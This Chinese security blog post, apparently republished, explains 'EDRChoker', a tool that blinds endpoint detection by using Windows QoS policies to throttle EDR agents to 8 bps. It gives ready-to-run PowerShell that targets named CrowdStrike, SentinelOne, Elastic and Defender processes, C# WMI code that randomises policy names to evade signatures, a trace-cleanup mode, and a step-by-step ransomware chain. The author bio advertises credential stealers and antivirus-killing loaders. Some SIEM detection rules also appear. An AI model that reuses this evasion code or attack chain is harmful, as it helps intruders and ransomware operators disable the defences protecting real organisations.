文章总结: EDRChoker是2026年6月公开的红队工具,通过Windows原生QoS功能将EDRAgent带宽限制为8bps,使其TLS握手永远超时,从而绕过检测。该技术不杀进程、不写驱动,利用pacer.sys在WFP层之下限速,攻击者仅需本地管理员权限即可实施。工具提供PowerShell和C#实现,支持批量节流和清理,适用于红队评估和勒索软件横向渗透。 综合评分: 90 文章分类: 红队,免杀,内网渗透,安全工具,实战经验
8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进ICU
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年7月6日 13:43 吉林
在小说阅读器读本章
去阅读
🌈
2026年6月最火开源免杀工具 EDRChoker 技术全解析——不杀进程、不注入代码、不写驱动,仅靠 Windows 内置的 pacer.sys QoS 策略把 EDR 带宽掐到 8 bps,让 TLS 握手永远在超时窗口外。本文附 PowerShell 复现命令与 C# WMI 实现路径。
8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进 ICU
攻击者不必再和 EDR 拼 syscall 拼线程拼 ETW——只要把 Agent 的带宽压到 8 bit/s,TLS 握手永远到不了对端,云端安全运营中心瞬间变成”看着摄像头死机”。
一、技术全貌:这是一场温柔的”窒息”
EDRChoker 是安全研究员 @TwoSevenOneT 于 2026 年 6 月 7 日在 Zero Salarium 博客公开的红队工具,3 天内冲上 GitHub Trending,CSDN、CN-SEC、Securonix 等媒体相继报道。它做了一件所有前辈都不敢做的事——不杀进程、不写驱动、不注入 shellcode,仅靠调用 Windows 原生的 Policy-Based QoS 功能,就把 EDR Agent 与管理控制台的连接掐得死死的。
工具 GitHub 仓库 TwoSevenOneT/EDRChoker 已开源 C# 源码,作者在 Program.cs 中通过 WMI 调用 ROOT\StandardCimv2:MSFT_NetQosPolicySettingData 类创建 QoS 策略。整条攻击链的最核心指令浓缩成一行 PowerShell:
New-NetQosPolicy -Name "EDRProcess" `
-AppPathNameMatchCondition "edragent.exe" `
-ThrottleRateActionBitsPerSecond 8 `
-PolicyStore ActiveStore
执行后,被命中的 EDR 进程(如 Elastic Defend 的 winlogbeat.exe、SentinelOne 的 SentinelAgent.exe、CrowdStrike 的 csagent.exe)出站带宽被硬限制为每秒 8 bit,而标准 TLS 1.3 握手至少需要 3-10 KB 数据——握手永远无法在 2-5 秒的超时窗口内完成,Agent 进入”无限重试”状态,却不产生任何 blocked packets、dropped packets 或 WFP filter events。
一句话总结:EDR 没被杀、没被挂起、没被替换,只是”永远在等”。
二、为什么这个技术让 2026 年的 EDR 厂商集体失语
要把这件事讲清楚,得先理解 Windows 网络栈的分层:
1. 应用层(Application) ← EDR 监控主战场
2. 传输层(tcpip.sys)
3. Windows 过滤平台(WFP) ← EDRSilencer 在这一层
4. NDIS 边界
5. pacer.sys(QoS Packet Scheduler) ← EDRChoker 在这一层
6. 网卡(NIC)
过去两年红队主流工具都在 WFP 层做文章:EDRSilencer 通过 WFP Callout 阻断 EDR 与云端的 TCP 连接。但这也意味着——所有 WFP 层的阻断行为都会被 EDR 自身的 WFP 监控钩子捕获,告警与日志几乎是自动生成的。
EDRChoker 的天才之处在于:pacer.sys 位于 WFP 下方,处理的是 WFP 已完成过滤决策之后的原始以太网帧。它使用 Windows 系统自带的 QoS 调度器,完全属于内核合法组件,操作发生在 EDR 视野之外。这就好比——你装了监控摄像头,劫匪不破坏摄像头,而是把光纤掰成 8 bps 的小水管,让监控室永远看到的是黑屏。
更恐怖的是,该技术不需要任何第三方依赖:
- 不需要写驱动(BYOVD 类工具如 EDRKillShifter/AuKill 都需要带签名的驱动)
- 不需要 PPL 滥用
- 不需要内核回调移除
- 不需要修改任何 EDR 二进制
只需要本地管理员权限——而这在勒索软件横向渗透的中后期,几乎是标配。
MITRE ATT&CK v19 框架在 2026 年 4 月已将 Defense Evasion (TA0005) 拆分为 Stealth(隐身) 与 Defense Impairment(致残) 两个独立战术,EDRChoker 完美对应 T1562.001 (Impair Defenses: Disable or Modify Tools) 的全新释义——”不是禁用工具,而是让工具失能”。
三、技术原理解析(核心部分)
技术要点 1:8 bit/s 带宽背后的数学陷阱
TLS 1.3 握手的最小流量模型:
| 阶段 | 数据量 | | — | — | | ClientHello | ~250-500 B | | ServerHello + Certificate + CertificateVerify | ~2-5 KB | | Finished | ~100-200 B | | 合计 | 3-6 KB |
EDR Agent 与管理控制台建立 TLS 连接的超时阈值通常为 2-5 秒。数学题来了:
🌈
8 bit/s × 5 s = 40 bit = 5 字节
5 字节连 ClientHello 的握手头都发不完。
更精妙的是:Agent 不会立即报错退出,而是持续重试。这意味着 EDR 在 SOC 看来是”在线”状态(心跳有响应),但实际上永远处于 half-open TCP——既不发送有意义的遥测,也无法接收云端下发的指令。
PowerShell 复现(攻击者视角):
# 1. 创建 QoS 节流策略,针对单个 EDR 进程
New-NetQosPolicy -Name "Elastic_Defend_Throttle" `
-AppPathNameMatchCondition "C:\Program Files\Elastic\Agent\winlogbeat.exe" `
-ThrottleRateActionBitsPerSecond 8 `
-IPProtocolMatchCondition 3 `
-NetworkProfile 0 `
-PolicyStore ActiveStore
# 2. 同时针对多个主流 EDR 进程(批量掐死)
$edrList = @(
"C:\Program Files\Elastic\Agent\winlogbeat.exe",
"C:\Program Files\SentinelOne\Sentinel Agent\SentinelAgent.exe",
"C:\Program Files\CrowdStrike\csagent.exe",
"C:\Program Files\Windows Defender\MpCmdRun.exe"
)
foreach ($edr in $edrList) {
New-NetQosPolicy -Name "Throttle_$(Split-Path $edr -Leaf)" `
-AppPathNameMatchCondition $edr `
-ThrottleRateActionBitsPerSecond 8 `
-PolicyStore ActiveStore
}
# 3. 验证策略已生效
Get-NetQosPolicy -PolicyStore ActiveStore | Format-Table Name, ThrottleRateActionBitsPerSecond
注意:上述脚本仅用于授权红队演练,严禁未授权使用。
技术要点 2:pacer.sys 在 WFP 之下的反检测优势
pacer.sys(QoS Packet Scheduler)是 Windows 自带的 NDIS 轻量级过滤驱动,从 Windows 7 起就内置在系统里,所有 Windows 10/11 设备默认加载。它的设计初衷是为 QoS 流量整形、流量优先级提供服务。
但因为它的处理位置位于 WFP 之下,导致 EDR 在 WFP 层注册的流量监控回调完全看不到 QoS 调度器的存在。攻击者通过 Policy-Based QoS 定义的策略,由 pacer.sys 直接在原始以太网帧级别限速,绕过了所有 WFP 层的遥测采集。
反取证细节:
- GUID 与策略名称每次运行随机化(
{random-GUID}\{random-name}\ActiveStore),无法通过固定签名告警 PolicyStore ActiveStore立即生效且跨重启持久化- EDR Agent 的日志只会记录”连接超时重试”,而不会记录”被 QoS 限速”
- Sysmon Event ID 3(Network Connect)依然会记录连接尝试,但握手始终不完整
技术要点 3:C# WMI 实现路径(EDRChoker 源码核心)
EDRChoker 的 Program.cs 核心逻辑调用了 WMI 类 MSFT_NetQosPolicySettingData:
using System.Management;
public class QosThrottler
{
public static void ThrottleEdrAgent(string processPath, int bpsLimit = 8)
{
var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
scope.Connect();
var instance = new ManagementClass(scope, new ManagementPath("MSFT_NetQosPolicySettingData"), null)
.CreateInstance();
// 随机化 InstanceID 以规避签名检测
string randomGuid = Guid.NewGuid().ToString();
string randomName = "QoS_" + Guid.NewGuid().ToString("N").Substring(0, 8);
instance["InstanceID"] = $"{randomGuid}\\{randomName}\\ActiveStore";
instance["Name"] = randomName;
instance["AppPathName"] = processPath;
instance["ThrottleRateActionBitsPerSecond"] = (ulong)bpsLimit;
instance["IPProtocol"] = 3; // 同时匹配 TCP + UDP
instance["NetworkProfile"] = 0; // 所有网络配置
instance.Put(); // 写入 ActiveStore,立即生效
Console.WriteLine($"[+] Throttled: {processPath} -> {bpsLimit} bps");
}
}
Remove 模式(干净清理):
public static void CleanupAllPolicies()
{
var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
scope.Connect();
var searcher = new ManagementObjectSearcher(scope,
new ObjectQuery("SELECT * FROM MSFT_NetQosPolicySettingData"));
foreach (ManagementObject policy in searcher.Get())
{
policy.Delete();
Console.WriteLine($"[-] Removed: {policy["Name"]}");
}
}
无参数运行 EDRChoker.exe 自动进入 Remove 模式,这种”自带清理工具”的体贴设计让红队撤离时能完美擦除痕迹——这本身也是 2026 年红队工具的趋势:默认即清理。
四、实战应用场景
场景 1:勒索软件横向渗透的”黄金窗口”
传统勒索软件攻击链:钓鱼 → 拿普通用户 → 提权 → 关 EDR → 横向 → 加密。而 EDRChoker 引入了一个全新阶段:致盲 EDR。
[1] 钓鱼拿到某员工笔记本普通用户权限
↓
[2] PowerShell 执行 EDRChoker,8 bps 节流 30 秒
↓
[3] SOC 监控大屏上,该主机状态显示"在线、Agent 健康"
但实际遥测已经停摆
↓
[4] 攻击者 1-3 小时从容横向、提权、部署勒索软件
↓
[5] 加密完成后,攻击者执行 Remove 模式清理 QoS 策略
↓
[6] EDR 恢复正常时,磁盘已经被加密
从攻击者角度看,这比 BYOVD 工具(EDRKillShifter/AuKill)安全得多——不留驱动加载痕迹、不触发 PatchGuard、不产生 ETW 事件。
场景 2:红队评估中的合规隐蔽动作
对于持牌渗透测试团队,EDRChoker 让”在客户不知情情况下评估 EDR 实际效能”成为可能:
- 测试前确认目标 EDR 已部署
- 通过社工拿到立足点
- 启用 EDRChoker,运行实际攻击链
- 测试完成后 Remove 模式清理
- 向客户提交报告:“贵司 SOC 在 3 小时内未检测到任何异常,但攻击链已完成”
场景 3:与现有 BYOVD 工具链的组合打法
EDRChoker 与其他 2026 年主流 EDR 绕过工具并不冲突,反而形成完美的互补矩阵:
| 工具 | 干扰层 | 是否需驱动 | 检测难度 | 适用阶段 | | — | — | — | — | — | | EDRSilencer | WFP 层 | 否 | 高(已签名化) | 阻断出站 | | EDRKillShifter | 内核 | ✅ 是 | 中 | 终止进程 | | EDR-Freeze | 进程状态 | 否 | 中 | 暂停 Agent | | EDRChoker | pacer.sys | 否 | 高 | 致盲遥测 |
理想组合:EDRChoker 致盲遥测 → BYOVD 关残留进程 → 攻击链执行。
五、防御对抗建议
面对这种”温柔窒息”型攻击,传统基于流量阈值的检测完全失效——因为攻击流量就是正常握手的握手,只是永远握手不完。防御侧必须从以下角度切入:
1. 监控 QoS 策略变更(关键)
# Sysmon 配置:监控 WMI 活动
# Event ID 19/20/21:WMI EventFilter/Consumer/Binding
# 重点关注对 ROOT\StandardCimv2:MSFT_NetQosPolicySettingData 的创建操作
SIEM 规则示例(Splunk):
index=windows EventCode=1
| where match(CommandLine, "(?i)New-NetQosPolicy.*ThrottleRateActionBitsPerSecond")
| stats count by host, user, CommandLine
| where count > 0
2. EDR Agent 健康度自检(不依赖网络层)
EDR 厂商应增加心跳完整性校验:Agent 应能检测自身与云端的 TLS 握手是否长期处于半连接状态,并对超过阈值的失联主动告警。
3. 定期 QoS 策略审计
# 蓝队合规检查命令
Get-NetQosPolicy -PolicyStore ActiveStore |
Where-Object { $_.ThrottleRateActionBitsPerSecond -lt 100000 } |
Format-Table Name, AppPathName, ThrottleRateActionBitsPerSecond
4. 启用 PowerShell 高级日志 + ScriptBlockLogging
New-NetQosPolicy 调用会被 ScriptBlock 完整记录,需在域内所有机器强制开启 4104 事件日志。
5. 检测 oplock 与 symlink 创建的联动监控
虽然 EDRChoker 不直接使用 oplock,但攻击链中往往配合 symlink/junction 操作,建议补充:
index=sysmon EventCode=1 CommandLine="*mklink*"
| stats count by host, user
6. 假设失陷模型(Assume-Breach)
按 MITRE ATT&CK v19 的建议:默认攻击者一定会设法致盲 EDR。SOC 必须在 EDR 失能假设下设计检测能力,而非依赖 EDR 提供”完整可视化”。
六、技术延伸阅读
工具与 GitHub
- EDRChoker 源码:https://github.com/TwoSevenOneT/EDRChoker[1]
- 原作者博客:https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html[2]
- Securonix 技术分析:https://connect.securonix.com/threat-research-intelligence-62/edrchoker-the-edr-bypass-playbook-adds-qos-throttling-370[3]
- EDRSilencer(同类对照):https://github.com/netero1010/EDRSilencer[4]
配套工具
- EDRKillShifter(BYOVD 内核攻击)
- EDR-Freeze(进程状态冻结)
- AuKill(带签名驱动关进程)
微软官方文档
- New-NetQosPowerShell cmdlet
- Policy-Based QoS 技术概述
- Microsoft Defender for Endpoint 的 Tamper Protection 机制
MITRE ATT&CK 对照
- T1562.001 – Impair Defenses: Disable or Modify Tools
- T1112 – Modify Registry
- T1490 – Inhibit System Recovery
- T1070 – Indicator Removal
写在最后:EDRChoker 给整个行业最大的启示是——“温柔”比”暴力”更致命。当攻击者不再执着于破坏 EDR,而是让 EDR 安静地”在沉默中失能”,所有基于告警-响应的传统安全运营都将被迫重构。2026 年红队的胜负手,已经不在”能不能过 EDR”,而在”过完 EDR 之后 1-3 小时窗口里能做什么”。
技术永远在攻防之间螺旋上升,下次再爆类似工具时,希望你已经把 QoS 监控、Agent 健康度自检、失陷假设演练这三件事做完了。
关注「星夜AI安全」,下期我们将拆解:勒索软件团伙如何把 BlueHammer + EDRChoker 组合使用,1 小时内端掉整家公司。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
后续将不断更新到内部圈子中 欢迎加入圈子
引用链接
[1]https://github.com/TwoSevenOneT/EDRChoker
[2]https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html
[3]https://connect.securonix.com/threat-research-intelligence-62/edrchoker-the-edr-bypass-playbook-adds-qos-throttling-370
[4]https://github.com/netero1010/EDRSilencer
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进ICU》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论